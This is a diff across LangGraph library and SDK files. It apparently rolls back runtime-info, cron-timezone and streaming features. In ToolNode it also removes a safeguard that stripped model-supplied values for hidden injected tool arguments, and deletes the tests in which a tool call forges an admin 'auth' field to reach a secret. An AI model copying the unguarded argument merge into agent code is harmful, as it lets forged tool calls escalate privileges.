"test_graph_id",
sync_client=mock_sync_client,
)
config = {"configurable": {"thread_id": "thread_1"}}
ctx = MyContext(model_name="anthropic", user_id="123")
list(
remote_pregel.stream(
{"input": "data"}, config, context=ctx, stream_mode="values"
)
)
_, kwargs = mock_sync_client.runs.stream.call_args
assert kwargs["context"] == ctx
@pytest.mark.skip(
"Unskip this test to manually test the LangSmith Deployment integration"
)
+1 -99
View File
@@ -1,12 +1,10 @@
from unittest.mock import Mock, patch
import pytest
from langgraph.checkpoint.memory import MemorySaver
from typing_extensions import TypedDict
from langgraph.graph import START, StateGraph
from langgraph.pregel._retry import _checkpoint_ns_for_parent_command, _should_retry_on
from langgraph.runtime import Runtime
from langgraph.types import RetryPolicy
@@ -170,15 +168,10 @@ def test_graph_with_single_retry_policy():
foo: str
attempt_count = 0
attempt_numbers: list[int] = []
first_attempt_times: list[float | None] = []
def failing_node(state: State, runtime: Runtime):
def failing_node(state: State):
nonlocal attempt_count
attempt_count += 1
assert runtime.execution_info.node_attempt == attempt_count
attempt_numbers.append(runtime.execution_info.node_attempt)
first_attempt_times.append(runtime.execution_info.node_first_attempt_time)
if attempt_count < 3: # Fail the first two attempts
raise ValueError("Intentional failure")
return {"foo": "success"}
@@ -210,11 +203,6 @@ def test_graph_with_single_retry_policy():
# Verify retry behavior
assert attempt_count == 3 # The node should have been tried 3 times
assert attempt_numbers == [1, 2, 3]
assert len(first_attempt_times) == 3
assert first_attempt_times[0] is not None
assert first_attempt_times[1] == first_attempt_times[0]
assert first_attempt_times[2] == first_attempt_times[0]
assert result["foo"] == "other_node" # Final result should be from other_node
# Verify the sleep intervals
@@ -222,30 +210,6 @@ def test_graph_with_single_retry_policy():
assert call_args_list == [0.01, 0.02]
def test_runtime_execution_info_defaults_without_retry():
"""Test execution_info defaults when no retry and no config are provided."""
class State(TypedDict):
foo: str
captured = {}
def node(state: State, runtime: Runtime):
captured["node_attempt"] = runtime.execution_info.node_attempt
captured["node_first_attempt_time"] = (
runtime.execution_info.node_first_attempt_time
)
return {"foo": "ok"}
graph = StateGraph(State).add_node("node", node).add_edge(START, "node").compile()
result = graph.invoke({"foo": ""})
assert result["foo"] == "ok"
assert captured["node_attempt"] == 1
assert isinstance(captured["node_first_attempt_time"], float)
def test_graph_with_jitter_retry_policy():
"""Test a graph with a RetryPolicy that uses jitter."""
@@ -394,65 +358,3 @@ def test_graph_with_max_attempts_exceeded():
graph.invoke({"foo": ""})
mock_sleep.assert_called_with(0.01)
def test_execution_info_identity_fields_populated_on_retry():
"""Test that thread_id, task_id, run_id, etc. are populated in execution_info during retries."""
class State(TypedDict):
foo: str
attempt_count = 0
captured_infos: list[dict] = []
def failing_node(state: State, runtime: Runtime):
nonlocal attempt_count
attempt_count += 1
info = runtime.execution_info
captured_infos.append(
{
"thread_id": info.thread_id,
"run_id": info.run_id,
"node_attempt": info.node_attempt,
"node_first_attempt_time": info.node_first_attempt_time,
"checkpoint_ns": info.checkpoint_ns,
}
)
if attempt_count < 2:
raise ValueError("Intentional failure")
return {"foo": "success"}
retry_policy = RetryPolicy(
max_attempts=3,
initial_interval=0.01,
jitter=False,
retry_on=ValueError,
)
graph = (
StateGraph(State)
.add_node("failing_node", failing_node, retry_policy=retry_policy)
.add_edge(START, "failing_node")
.compile(checkpointer=MemorySaver())
)
with patch("time.sleep"):
result = graph.invoke(
{"foo": ""},
config={"configurable": {"thread_id": "retry-thread"}},
)
assert result["foo"] == "success"
assert len(captured_infos) == 2
# Both attempts should have the same thread_id and first_attempt_time
assert captured_infos[0]["thread_id"] == "retry-thread"
assert captured_infos[1]["thread_id"] == "retry-thread"
assert (
captured_infos[0]["node_first_attempt_time"]
== captured_infos[1]["node_first_attempt_time"]
)
# node_attempt should increment
assert captured_infos[0]["node_attempt"] == 1
assert captured_infos[1]["node_attempt"] == 2
+1 -258
View File
@@ -2,12 +2,11 @@ from dataclasses import dataclass
from typing import Any
import pytest
from langgraph.checkpoint.memory import MemorySaver
from pydantic import BaseModel, ValidationError
from typing_extensions import TypedDict
from langgraph.graph import END, START, StateGraph
from langgraph.runtime import ExecutionInfo, Runtime, ServerInfo, get_runtime
from langgraph.runtime import Runtime, get_runtime
def test_injected_runtime() -> None:
@@ -390,259 +389,3 @@ def test_context_coercion_pydantic_validation_errors() -> None:
compiled.invoke(
{"message": "test"}, context={"api_key": "sk_test", "timeout": "not_an_int"}
)
# --- ExecutionInfo unit tests ---
def test_execution_info_defaults_and_patch() -> None:
info = ExecutionInfo(checkpoint_id="c1", checkpoint_ns="ns1", task_id="t1")
assert info.checkpoint_id == "c1"
assert info.checkpoint_ns == "ns1"
assert info.task_id == "t1"
assert info.thread_id is None
assert info.run_id is None
assert info.node_attempt == 1
assert info.node_first_attempt_time is None
# patch returns new instance, original unchanged
patched = info.patch(thread_id="th1", node_attempt=3, task_id="tk1")
assert patched.thread_id == "th1"
assert patched.node_attempt == 3
assert patched.task_id == "tk1"
assert info.node_attempt == 1
assert info.task_id == "t1"
# frozen
with pytest.raises(AttributeError):
info.thread_id = "t2" # type: ignore[misc]
# --- ServerInfo / Runtime unit tests ---
def test_server_info_and_runtime_merge() -> None:
si = ServerInfo(assistant_id="asst-1", graph_id="graph-1")
assert si.assistant_id == "asst-1"
assert si.user is None
# frozen
with pytest.raises(AttributeError):
si.assistant_id = "asst-2" # type: ignore[misc]
# runtime default is None
assert Runtime().server_info is None
# merge preserves server_info from self when other has None
r1 = Runtime(server_info=si)
merged = r1.merge(Runtime())
assert merged.server_info is si
# merge takes server_info from other when present
si2 = ServerInfo(assistant_id="asst-2", graph_id="graph-2")
merged2 = r1.merge(Runtime(server_info=si2))
assert merged2.server_info is si2
# --- Integration tests ---
def _make_capture_graph(
capture: dict[str, Any],
*,
checkpointer: Any = None,
) -> Any:
"""Helper: build a simple graph that captures runtime info."""
class State(TypedDict):
message: str
def capture_node(state: State, runtime: Runtime) -> dict[str, Any]:
capture["execution_info"] = runtime.execution_info
capture["server_info"] = runtime.server_info
return {"message": "done"}
graph = StateGraph(state_schema=State)
graph.add_node("capture", capture_node)
graph.add_edge(START, "capture")
graph.add_edge("capture", END)
return graph.compile(checkpointer=checkpointer)
def test_execution_info_populated_in_graph() -> None:
"""execution_info fields are populated when running with a checkpointer."""
captured: dict[str, Any] = {}
compiled = _make_capture_graph(captured, checkpointer=MemorySaver())
compiled.invoke(
{"message": "hi"},
config={"configurable": {"thread_id": "t-123"}},
)
info = captured["execution_info"]
assert info.thread_id == "t-123"
assert info.task_id is not None
assert info.checkpoint_id is not None
assert info.checkpoint_ns is not None
assert info.node_attempt == 1
assert isinstance(info.node_first_attempt_time, float)
@pytest.mark.anyio
async def test_execution_info_populated_in_graph_async() -> None:
"""execution_info fields are populated in async execution."""
captured: dict[str, Any] = {}
compiled = _make_capture_graph(captured, checkpointer=MemorySaver())
await compiled.ainvoke(
{"message": "hi"},
config={"configurable": {"thread_id": "t-xyz"}},
)
info = captured["execution_info"]
assert info.thread_id == "t-xyz"
assert info.node_attempt == 1
assert isinstance(info.node_first_attempt_time, float)
def test_server_info_from_metadata() -> None:
"""server_info is built from assistant_id/graph_id in config metadata."""
captured: dict[str, Any] = {}
compiled = _make_capture_graph(captured)
compiled.invoke(
{"message": "hi"},
config={"metadata": {"assistant_id": "asst-abc", "graph_id": "my-graph"}},
)
si = captured["server_info"]
assert si is not None
assert si.assistant_id == "asst-abc"
assert si.graph_id == "my-graph"
assert si.user is None
def test_server_info_none_without_metadata() -> None:
"""server_info is None when no assistant_id/graph_id in metadata."""
captured: dict[str, Any] = {}
compiled = _make_capture_graph(captured)
compiled.invoke({"message": "hi"})
assert captured["server_info"] is None
def test_server_info_user_from_auth_user() -> None:
"""server_info.user is populated from configurable['langgraph_auth_user'].
Tests both a proper BaseUser protocol object and a starlette-style proxy
that provides `permissions` via __getattr__ (which the Protocol isinstance
check may not see).
"""
class _ProxyUser:
"""Mimics langgraph_api's ProxyUser: identity/display_name as properties,
permissions via __getattr__."""
def __init__(self, data: dict[str, Any]) -> None:
self._data = data
@property
def identity(self) -> str:
return self._data["identity"]
@property
def display_name(self) -> str:
return self._data.get("display_name", self.identity)
@property
def is_authenticated(self) -> bool:
return True
def __getattr__(self, name: str) -> Any:
return self._data[name]
def __getitem__(self, key: str) -> Any:
return self._data[key]
def __contains__(self, key: str) -> bool:
return key in self._data
def __iter__(self) -> Any:
return iter(self._data)
proxy = _ProxyUser(
{
"identity": "proxy-user",
"display_name": "Proxy User",
"is_authenticated": True,
"permissions": ["read"],
}
)
assert not isinstance(proxy, dict)
assert hasattr(proxy, "identity")
captured: dict[str, Any] = {}
compiled = _make_capture_graph(captured)
compiled.invoke(
{"message": "hi"},
config={
"configurable": {"langgraph_auth_user": proxy},
"metadata": {"assistant_id": "asst-proxy", "graph_id": "graph-proxy"},
},
)
si = captured["server_info"]
assert si is not None
assert si.assistant_id == "asst-proxy"
assert si.user is not None
assert si.user.identity == "proxy-user"
assert si.user["display_name"] == "Proxy User"
def test_execution_info_inherited_by_subgraph() -> None:
"""execution_info is correctly populated for subgraph nodes, including namespace."""
captured_main: dict[str, Any] = {}
captured_sub: dict[str, Any] = {}
class State(TypedDict, total=False):
message: str
def subgraph_node(state: State, runtime: Runtime) -> dict[str, str]:
captured_sub["execution_info"] = runtime.execution_info
return {"message": "from_sub"}
subgraph_builder = StateGraph(State)
subgraph_builder.add_node("sub_node", subgraph_node)
subgraph_builder.add_edge(START, "sub_node")
subgraph = subgraph_builder.compile()
def main_node(state: State, runtime: Runtime) -> dict[str, str]:
captured_main["execution_info"] = runtime.execution_info
return {"message": "from_main"}
builder = StateGraph(State)
builder.add_node("main_node", main_node)
builder.add_node("subgraph", subgraph)
builder.add_edge(START, "main_node")
builder.add_edge("main_node", "subgraph")
graph = builder.compile(checkpointer=MemorySaver())
graph.invoke(
{"message": "hi"},
config={"configurable": {"thread_id": "sub-thread"}},
)
main_info = captured_main["execution_info"]
sub_info = captured_sub["execution_info"]
# Both share the same thread_id
assert main_info.thread_id == "sub-thread"
assert sub_info.thread_id == "sub-thread"
# Both have node_attempt = 1
assert main_info.node_attempt == 1
assert sub_info.node_attempt == 1
# Main namespace is "main_node:<task_id>" (top-level, no separator)
assert main_info.checkpoint_ns.startswith("main_node:")
assert "|" not in main_info.checkpoint_ns
# Subgraph namespace is "subgraph:<task_id>|sub_node:<task_id>" (nested)
assert sub_info.checkpoint_ns.startswith("subgraph:")
assert "|sub_node:" in sub_info.checkpoint_ns
# task_id appears in its own namespace segment
assert main_info.task_id in main_info.checkpoint_ns
assert sub_info.task_id in sub_info.checkpoint_ns
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View File
@@ -79,13 +79,11 @@ from langchain_core.tools.base import (
TOOL_MESSAGE_BLOCK_TYPES,
ToolException,
_DirectlyInjectedToolArg,
_is_injected_arg_type,
get_all_basemodel_annotations,
)
from langgraph._internal._runnable import RunnableCallable
from langgraph.errors import GraphBubbleUp
from langgraph.graph.message import REMOVE_ALL_MESSAGES
from langgraph.runtime import ExecutionInfo, ServerInfo # noqa: TC002
from langgraph.store.base import BaseStore # noqa: TC002
from langgraph.types import Command, Send, StreamWriter
from pydantic import BaseModel, ValidationError
@@ -613,7 +611,6 @@ class _InjectedArgs:
state: dict[str, str | None]
store: str | None
runtime: str | None
all_injected_keys: set[str]
class ToolNode(RunnableCallable):
@@ -807,8 +804,6 @@ class ToolNode(RunnableCallable):
context=runtime.context,
store=runtime.store,
stream_writer=runtime.stream_writer,
execution_info=runtime.execution_info,
server_info=runtime.server_info,
)
tool_runtimes.append(tool_runtime)
@@ -841,8 +836,6 @@ class ToolNode(RunnableCallable):
context=runtime.context,
store=runtime.store,
stream_writer=runtime.stream_writer,
execution_info=runtime.execution_info,
server_info=runtime.server_info,
)
tool_runtimes.append(tool_runtime)
@@ -1384,15 +1377,7 @@ class ToolNode(RunnableCallable):
if injected.runtime:
injected_args[injected.runtime] = tool_runtime
# Strip any caller-supplied values for injected args, then add
# back only trusted values. This prevents an LLM from forging
# hidden InjectedToolArg fields via ToolCall.args.
stripped_args = {
k: v
for k, v in tool_call_copy["args"].items()
if k not in injected.all_injected_keys
}
tool_call_copy["args"] = {**stripped_args, **injected_args}
tool_call_copy["args"] = {**tool_call_copy["args"], **injected_args}
return tool_call_copy
def _validate_tool_command(
@@ -1613,8 +1598,6 @@ class ToolRuntime(_DirectlyInjectedToolArg, Generic[ContextT, StateT]):
stream_writer: StreamWriter
tool_call_id: str | None
store: BaseStore | None
execution_info: ExecutionInfo | None = None
server_info: ServerInfo | None = None
class InjectedState(InjectedToolArg):
@@ -1858,13 +1841,8 @@ def _get_all_injected_args(tool: BaseTool) -> _InjectedArgs:
state_args: dict[str, str | None] = {}
store_arg: str | None = None
runtime_arg: str | None = None
all_injected_keys: set[str] = set()
for name, type_ in all_annotations.items():
# Track all InjectedToolArg-annotated params (including custom subclasses)
if _is_injected_arg_type(type_):
all_injected_keys.add(name)
# Check for runtime (special case: parameter named "runtime")
if name == "runtime":
runtime_arg = name
@@ -1888,5 +1866,4 @@ def _get_all_injected_args(tool: BaseTool) -> _InjectedArgs:
state=state_args,
store=store_arg,
runtime=runtime_arg,
all_injected_keys=all_injected_keys,
)
+1 -1
View File
@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
[project]
name = "langgraph-prebuilt"
version = "1.0.9"
version = "1.0.8"
description = "Library with high-level APIs for creating and executing LangGraph agents and tools."
authors = []
requires-python = ">=3.10"
+1 -195
View File
@@ -21,7 +21,7 @@ from langchain_core.messages import (
ToolMessage,
)
from langchain_core.runnables.config import RunnableConfig
from langchain_core.tools import BaseTool, InjectedToolArg, ToolException
from langchain_core.tools import BaseTool, ToolException
from langchain_core.tools import tool as dec_tool
from langgraph.config import get_stream_writer
from langgraph.errors import GraphBubbleUp, GraphInterrupt
@@ -59,16 +59,10 @@ def _create_mock_runtime(store: BaseStore | None = None) -> Mock:
which is injected by RunnableCallable from config["configurable"]["__pregel_runtime"].
When testing ToolNode directly (outside a graph), we need to provide this manually.
"""
from langgraph.runtime import ExecutionInfo
mock_runtime = Mock()
mock_runtime.store = store
mock_runtime.context = None
mock_runtime.stream_writer = lambda *args, **kwargs: None
mock_runtime.execution_info = ExecutionInfo(
checkpoint_id="test-cp", checkpoint_ns="", task_id="test-task"
)
mock_runtime.server_info = None
return mock_runtime
@@ -2014,191 +2008,3 @@ async def test_tool_node_inject_runtime_dynamic_tool_via_wrap_tool_call_async()
tool_message = result["messages"][-1]
assert tool_message.content == "dynamic: x=42, tool_call_id=call_dynamic_2"
assert tool_message.tool_call_id == "call_dynamic_2"
def test_tool_runtime_forwards_execution_info_and_server_info() -> None:
"""Test that execution_info and server_info are forwarded from Runtime to ToolRuntime."""
from langgraph.runtime import ExecutionInfo, ServerInfo
exec_info = ExecutionInfo(
thread_id="t-1",
checkpoint_id="cp-1",
checkpoint_ns="",
task_id="tk-1",
run_id="r-1",
)
server_info = ServerInfo(assistant_id="asst-1", graph_id="graph-1")
mock_runtime = Mock()
mock_runtime.store = None
mock_runtime.context = None
mock_runtime.stream_writer = lambda *args, **kwargs: None
mock_runtime.execution_info = exec_info
mock_runtime.server_info = server_info
captured: dict = {}
@dec_tool
def info_tool(x: int, runtime: ToolRuntime) -> str:
"""Tool that captures runtime info."""
captured["execution_info"] = runtime.execution_info
captured["server_info"] = runtime.server_info
return "ok"
node = ToolNode([info_tool])
tool_call = {
"name": "info_tool",
"args": {"x": 1},
"id": "call-1",
"type": "tool_call",
}
msg = AIMessage("", tool_calls=[tool_call])
config: RunnableConfig = {"configurable": {"__pregel_runtime": mock_runtime}}
node.invoke({"messages": [msg]}, config=config)
assert captured["execution_info"] is exec_info
assert captured["execution_info"].thread_id == "t-1"
assert captured["execution_info"].task_id == "tk-1"
assert captured["server_info"] is server_info
assert captured["server_info"].assistant_id == "asst-1"
async def test_tool_runtime_forwards_execution_info_and_server_info_async() -> None:
"""Test that execution_info and server_info are forwarded in async path."""
from langgraph.runtime import ExecutionInfo, ServerInfo
exec_info = ExecutionInfo(
thread_id="t-2",
checkpoint_id="cp-2",
checkpoint_ns="",
task_id="tk-2",
run_id="r-2",
)
server_info = ServerInfo(assistant_id="asst-2", graph_id="graph-2")
mock_runtime = Mock()
mock_runtime.store = None
mock_runtime.context = None
mock_runtime.stream_writer = lambda *args, **kwargs: None
mock_runtime.execution_info = exec_info
mock_runtime.server_info = server_info
captured: dict = {}
@dec_tool
async def info_tool_async(x: int, runtime: ToolRuntime) -> str:
"""Async tool that captures runtime info."""
captured["execution_info"] = runtime.execution_info
captured["server_info"] = runtime.server_info
return "ok"
node = ToolNode([info_tool_async])
tool_call = {
"name": "info_tool_async",
"args": {"x": 1},
"id": "call-2",
"type": "tool_call",
}
msg = AIMessage("", tool_calls=[tool_call])
config: RunnableConfig = {"configurable": {"__pregel_runtime": mock_runtime}}
await node.ainvoke({"messages": [msg]}, config=config)
assert captured["execution_info"] is exec_info
assert captured["execution_info"].thread_id == "t-2"
assert captured["server_info"] is server_info
assert captured["server_info"].graph_id == "graph-2"
# --- InjectedToolArg security tests ---
def test_tool_node_strips_plain_injected_tool_arg() -> None:
"""Plain InjectedToolArg values supplied by the LLM should be stripped."""
@dec_tool
def read_secret(
query: str,
auth: Annotated[dict, InjectedToolArg()],
) -> str:
"""Return secret data based on auth role."""
if auth.get("role") == "admin":
return "ADMIN_SECRET"
return "PUBLIC_DATA"
node = ToolNode([read_secret], handle_tool_errors=True)
# LLM tries to supply the hidden 'auth' field
tool_call = {
"name": "read_secret",
"args": {"query": "hello", "auth": {"role": "admin"}},
"id": "call-1",
"type": "tool_call",
}
msg = AIMessage("", tool_calls=[tool_call])
result = node.invoke({"messages": [msg]}, config=_create_config_with_runtime())
tool_message = result["messages"][-1]
# auth should have been stripped, so tool should fail (missing required arg)
assert "ADMIN_SECRET" not in tool_message.content
def test_tool_node_strips_custom_injected_tool_arg_subclass() -> None:
"""Custom InjectedToolArg subclasses should also be stripped."""
class InjectedAuth(InjectedToolArg):
pass
@dec_tool
def read_secret(
query: str,
auth: Annotated[dict, InjectedAuth()],
) -> str:
"""Return secret data based on auth role."""
if auth.get("role") == "admin":
return "ADMIN_SECRET"
return "PUBLIC_DATA"
node = ToolNode([read_secret], handle_tool_errors=True)
tool_call = {
"name": "read_secret",
"args": {"query": "hello", "auth": {"role": "admin"}},
"id": "call-1",
"type": "tool_call",
}
msg = AIMessage("", tool_calls=[tool_call])
result = node.invoke({"messages": [msg]}, config=_create_config_with_runtime())
tool_message = result["messages"][-1]
assert "ADMIN_SECRET" not in tool_message.content
def test_tool_node_injected_state_overwrites_llm_value() -> None:
"""InjectedState should use graph state, not LLM-supplied values."""
@dec_tool
def read_secret(
query: str,
auth: Annotated[dict, InjectedState("auth")],
) -> str:
"""Return secret data based on auth from graph state."""
if auth.get("role") == "admin":
return "ADMIN_SECRET"
return "PUBLIC_DATA"
node = ToolNode([read_secret])
# LLM tries to supply auth as admin
tool_call = {
"name": "read_secret",
"args": {"query": "hello", "auth": {"role": "admin"}},
"id": "call-1",
"type": "tool_call",
}
msg = AIMessage("", tool_calls=[tool_call])
# Graph state has auth as viewer
result = node.invoke(
{"messages": [msg], "auth": {"role": "viewer"}},
config=_create_config_with_runtime(),
)
tool_message = result["messages"][-1]
assert tool_message.content == "PUBLIC_DATA"
+169 -169
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[[package]]
+1 -1
View File
@@ -3,6 +3,6 @@ from langgraph_sdk.client import get_client, get_sync_client
from langgraph_sdk.encryption import Encryption
from langgraph_sdk.encryption.types import EncryptionContext
__version__ = "0.3.12"
__version__ = "0.3.9"
__all__ = ["Auth", "Encryption", "EncryptionContext", "get_client", "get_sync_client"]
+5 -15
View File
@@ -4,11 +4,10 @@ from __future__ import annotations
import warnings
from collections.abc import Mapping, Sequence
from datetime import datetime, tzinfo
from datetime import datetime
from typing import Any
from langgraph_sdk._async.http import HttpClient
from langgraph_sdk._shared.utilities import _resolve_timezone
from langgraph_sdk.schema import (
All,
Config,
@@ -71,7 +70,6 @@ class CronClient:
multitask_strategy: str | None = None,
end_time: datetime | None = None,
enabled: bool | None = None,
timezone: str | tzinfo | None = None,
stream_mode: StreamMode | Sequence[StreamMode] | None = None,
stream_subgraphs: bool | None = None,
stream_resumable: bool | None = None,
@@ -86,7 +84,7 @@ class CronClient:
assistant_id: The assistant ID or graph name to use for the cron job.
If using graph name, will default to first assistant created from that graph.
schedule: The cron schedule to execute this job on.
Schedules are interpreted in UTC unless a timezone is specified.
Schedules are interpreted in UTC.
input: The input to the graph.
metadata: Metadata to assign to the cron job runs.
config: The configuration for the assistant.
@@ -102,7 +100,6 @@ class CronClient:
Must be one of 'reject', 'interrupt', 'rollback', or 'enqueue'.
end_time: The time to stop running the cron job. If not provided, the cron job will run indefinitely.
enabled: Whether the cron job is enabled or not.
timezone: IANA timezone for the cron schedule. Accepts a string (e.g. 'America/New_York') or a ``datetime.tzinfo`` instance (e.g. ``ZoneInfo("America/New_York")``).
stream_mode: The stream mode(s) to use.
stream_subgraphs: Whether to stream output from subgraphs.
stream_resumable: Whether to persist the stream chunks in order to resume the stream later.
@@ -155,7 +152,6 @@ class CronClient:
"webhook": webhook,
"end_time": end_time.isoformat() if end_time else None,
"enabled": enabled,
"timezone": _resolve_timezone(timezone),
"stream_mode": stream_mode,
"stream_subgraphs": stream_subgraphs,
"stream_resumable": stream_resumable,
@@ -188,7 +184,6 @@ class CronClient:
multitask_strategy: str | None = None,
end_time: datetime | None = None,
enabled: bool | None = None,
timezone: str | tzinfo | None = None,
stream_mode: StreamMode | Sequence[StreamMode] | None = None,
stream_subgraphs: bool | None = None,
stream_resumable: bool | None = None,
@@ -202,7 +197,7 @@ class CronClient:
assistant_id: The assistant ID or graph name to use for the cron job.
If using graph name, will default to first assistant created from that graph.
schedule: The cron schedule to execute this job on.
Schedules are interpreted in UTC unless a timezone is specified.
Schedules are interpreted in UTC.
input: The input to the graph.
metadata: Metadata to assign to the cron job runs.
config: The configuration for the assistant.
@@ -220,7 +215,6 @@ class CronClient:
Must be one of 'reject', 'interrupt', 'rollback', or 'enqueue'.
end_time: The time to stop running the cron job. If not provided, the cron job will run indefinitely.
enabled: Whether the cron job is enabled or not.
timezone: IANA timezone for the cron schedule. Accepts a string (e.g. 'America/New_York') or a ``datetime.tzinfo`` instance (e.g. ``ZoneInfo("America/New_York")``).
stream_mode: The stream mode(s) to use.
stream_subgraphs: Whether to stream output from subgraphs.
stream_resumable: Whether to persist the stream chunks in order to resume the stream later.
@@ -274,7 +268,6 @@ class CronClient:
"on_run_completed": on_run_completed,
"end_time": end_time.isoformat() if end_time else None,
"enabled": enabled,
"timezone": _resolve_timezone(timezone),
"stream_mode": stream_mode,
"stream_subgraphs": stream_subgraphs,
"stream_resumable": stream_resumable,
@@ -331,7 +324,6 @@ class CronClient:
interrupt_after: All | list[str] | None = None,
on_run_completed: OnCompletionBehavior | None = None,
enabled: bool | None = None,
timezone: str | tzinfo | None = None,
stream_mode: StreamMode | Sequence[StreamMode] | None = None,
stream_subgraphs: bool | None = None,
stream_resumable: bool | None = None,
@@ -344,7 +336,7 @@ class CronClient:
Args:
cron_id: The cron ID to update.
schedule: The cron schedule to execute this job on.
Schedules are interpreted in UTC unless a timezone is specified.
Schedules are interpreted in UTC.
end_time: The end date to stop running the cron.
input: The input to the graph.
metadata: Metadata to assign to the cron job runs.
@@ -358,7 +350,6 @@ class CronClient:
after execution. 'keep' creates a new thread for each execution but does not
clean them up.
enabled: Enable or disable the cron job.
timezone: IANA timezone for the cron schedule. Accepts a string (e.g. 'America/New_York') or a ``datetime.tzinfo`` instance (e.g. ``ZoneInfo("America/New_York")``).
stream_mode: The stream mode(s) to use.
stream_subgraphs: Whether to stream output from subgraphs.
stream_resumable: Whether to persist the stream chunks in order to resume the stream later.
@@ -393,7 +384,6 @@ class CronClient:
"interrupt_after": interrupt_after,
"on_run_completed": on_run_completed,
"enabled": enabled,
"timezone": _resolve_timezone(timezone),
"stream_mode": stream_mode,
"stream_subgraphs": stream_subgraphs,
"stream_resumable": stream_resumable,
@@ -474,7 +464,7 @@ class CronClient:
```
"""
payload: dict[str, Any] = {
payload = {
"assistant_id": assistant_id,
"thread_id": thread_id,
"enabled": enabled,
+6 -88
View File
@@ -5,15 +5,12 @@ from __future__ import annotations
import builtins
import warnings
from collections.abc import AsyncIterator, Callable, Mapping, Sequence
from typing import Any, Literal, overload
from typing import Any, overload
import httpx
from langgraph_sdk._async.http import HttpClient
from langgraph_sdk._shared.utilities import (
_get_run_metadata_from_response,
_sse_to_v2_dict,
)
from langgraph_sdk._shared.utilities import _get_run_metadata_from_response
from langgraph_sdk.schema import (
All,
BulkCancelRunsStatus,
@@ -36,21 +33,9 @@ from langgraph_sdk.schema import (
RunStatus,
StreamMode,
StreamPart,
StreamPartV2,
StreamVersion,
)
async def _wrap_stream_v2(
raw: AsyncIterator[StreamPart],
) -> AsyncIterator[StreamPartV2]:
"""Wrap a raw SSE stream, converting each event to a v2 dict."""
async for part in raw:
v2 = _sse_to_v2_dict(part.event, part.data)
if v2 is not None:
yield v2
class RunsClient:
"""Client for managing runs in LangGraph.
@@ -96,66 +81,6 @@ class RunsClient:
headers: Mapping[str, str] | None = None,
params: QueryParamTypes | None = None,
on_run_created: Callable[[RunCreateMetadata], None] | None = None,
version: Literal["v1"] = "v1",
) -> AsyncIterator[StreamPart]: ...
@overload
def stream(
self,
thread_id: str,
assistant_id: str,
*,
input: Input | None = None,
command: Command | None = None,
stream_mode: StreamMode | Sequence[StreamMode] = "values",
stream_subgraphs: bool = False,
stream_resumable: bool = False,
metadata: Mapping[str, Any] | None = None,
config: Config | None = None,
context: Context | None = None,
checkpoint: Checkpoint | None = None,
checkpoint_id: str | None = None,
checkpoint_during: bool | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
feedback_keys: Sequence[str] | None = None,
on_disconnect: DisconnectMode | None = None,
webhook: str | None = None,
multitask_strategy: MultitaskStrategy | None = None,
if_not_exists: IfNotExists | None = None,
after_seconds: int | None = None,
headers: Mapping[str, str] | None = None,
params: QueryParamTypes | None = None,
on_run_created: Callable[[RunCreateMetadata], None] | None = None,
version: Literal["v2"],
) -> AsyncIterator[StreamPartV2]: ...
@overload
def stream(
self,
thread_id: None,
assistant_id: str,
*,
input: Input | None = None,
command: Command | None = None,
stream_mode: StreamMode | Sequence[StreamMode] = "values",
stream_subgraphs: bool = False,
stream_resumable: bool = False,
metadata: Mapping[str, Any] | None = None,
config: Config | None = None,
checkpoint_during: bool | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
feedback_keys: Sequence[str] | None = None,
on_disconnect: DisconnectMode | None = None,
on_completion: OnCompletionBehavior | None = None,
if_not_exists: IfNotExists | None = None,
webhook: str | None = None,
after_seconds: int | None = None,
headers: Mapping[str, str] | None = None,
params: QueryParamTypes | None = None,
on_run_created: Callable[[RunCreateMetadata], None] | None = None,
version: Literal["v1"] = "v1",
) -> AsyncIterator[StreamPart]: ...
@overload
@@ -183,8 +108,7 @@ class RunsClient:
headers: Mapping[str, str] | None = None,
params: QueryParamTypes | None = None,
on_run_created: Callable[[RunCreateMetadata], None] | None = None,
version: Literal["v2"],
) -> AsyncIterator[StreamPartV2]: ...
) -> AsyncIterator[StreamPart]: ...
def stream(
self,
@@ -215,8 +139,7 @@ class RunsClient:
params: QueryParamTypes | None = None,
on_run_created: Callable[[RunCreateMetadata], None] | None = None,
durability: Durability | None = None,
version: StreamVersion = "v1",
) -> AsyncIterator[StreamPart | StreamPartV2]:
) -> AsyncIterator[StreamPart]:
"""Create a run and stream the results.
Args:
@@ -257,8 +180,6 @@ class RunsClient:
"async" means checkpoints are persisted async while next graph step executes, replaces checkpoint_during=True
"sync" means checkpoints are persisted sync after graph step executes, replaces checkpoint_during=False
"exit" means checkpoints are only persisted when the run exits, does not save intermediate steps
version: Stream format version. "v1" (default) returns raw SSE StreamPart
NamedTuples. "v2" returns typed dicts with `type`, `ns`, and `data` keys.
Returns:
Asynchronous iterator of stream results.
@@ -301,7 +222,7 @@ class RunsClient:
stacklevel=2,
)
payload: dict[str, Any] = {
payload = {
"input": input,
"command": (
{k: v for k, v in command.items() if v is not None} if command else None
@@ -338,7 +259,7 @@ class RunsClient:
if on_run_created and (metadata := _get_run_metadata_from_response(res)):
on_run_created(metadata)
raw = self.http.stream(
return self.http.stream(
endpoint,
"POST",
json={k: v for k, v in payload.items() if v is not None},
@@ -346,9 +267,6 @@ class RunsClient:
headers=headers,
on_response=on_response if on_run_created else None,
)
if version == "v2":
return _wrap_stream_v2(raw)
return raw
@overload
async def create(
+1 -1
View File
@@ -134,7 +134,7 @@ class StoreClient:
raise ValueError(
f"Invalid namespace label '{label}'. Namespace labels cannot contain periods ('.')."
)
get_params: dict[str, Any] = {"namespace": ".".join(namespace), "key": key}
get_params = {"namespace": ".".join(namespace), "key": key}
if refresh_ttl is not None:
get_params["refresh_ttl"] = refresh_ttl
if params:
+1 -52
View File
@@ -6,17 +6,13 @@ import functools
import os
import re
from collections.abc import Mapping
from datetime import tzinfo
from typing import TYPE_CHECKING, Any, cast
from typing import Any, cast
import httpx
import langgraph_sdk
from langgraph_sdk.schema import RunCreateMetadata
if TYPE_CHECKING:
from zoneinfo import ZoneInfo
RESERVED_HEADERS = ("x-api-key",)
NOT_PROVIDED = cast(None, object())
@@ -111,53 +107,6 @@ def _get_run_metadata_from_response(
return None
def _sse_to_v2_dict(event: str, data: Any) -> dict[str, Any] | None:
"""Convert an SSE event+data pair into a v2 stream part dict.
Returns None for ``end`` events (signals end of stream).
"""
if event == "end":
return None
parts = event.split("|")
event_type = parts[0]
ns = parts[1:] if len(parts) > 1 else []
